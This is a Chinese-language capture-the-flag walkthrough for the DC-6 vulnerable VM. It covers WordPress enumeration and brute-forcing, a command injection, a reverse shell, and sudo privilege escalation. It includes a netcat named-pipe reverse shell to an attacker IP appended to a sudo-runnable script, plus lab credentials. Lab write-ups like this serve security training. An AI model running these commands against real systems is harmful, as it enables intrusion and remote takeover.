DC-6

下载地址：http://www.five86.com/dc-6.html
1、发现目标主机192.168.168.201

2、目标主机详细信息

80、22端口开放

3、浏览器访问一下80端口

访问IP不成功，可以尝试访问一下域名

/etc/hosts添加解析记录

发现插件是WordPress，与DC-2靶机类似

4、wpscan扫描用户

wpscan --url http://wordy/ --enumerate u

将5个用户名保存到用户名字典里

5、wpscan暴力破解后台用户名、密码

为了缩短爆破时间，根据提示生成密码字典


如果爆破不出来，可以更新一下wpscan
apt-get upgrade wpscan 更新指定软件，wpscan可以为任意软件名

6、dirbuster扫出后台登录页面，登后台

使用kali自带的dirbuster扫描敏感目录

扫到后台登录页面，使用账号、密码登录

7、searchsploit搜索一下漏洞，发现存在命令注入漏洞

8、验证漏洞，抓个包看一下

改包，使用浏览器访问，查看用户身份


命令执行漏洞确实存在，并且返回当前用户信息www-data

9、开启监听，写入反弹shell

成功获取shell

10、开启一个交互式界面

python -c 'import pty;pty.spawn("/bin/bash")'

11、提权之再次信息收集

试着查看用户mark的一些信息

发现有一条创建用户的信息，拿到用户名graham，密码GSo7isUM1D4

12、ssh登录graham用户

13、提权

先考虑sudo提权

发现一个不需要密码的脚本
写入echo 'rm -rf /tmp/p;mknod /tmp/p p; /bin/bash 0</tmp/p | nc 192.168.168.194 6666 >/tmp/p' >> backups.sh


开启端口监听

发现还是普通用户
继续提权
发现nmap命令是root权限，不需要密码



成功获取root权限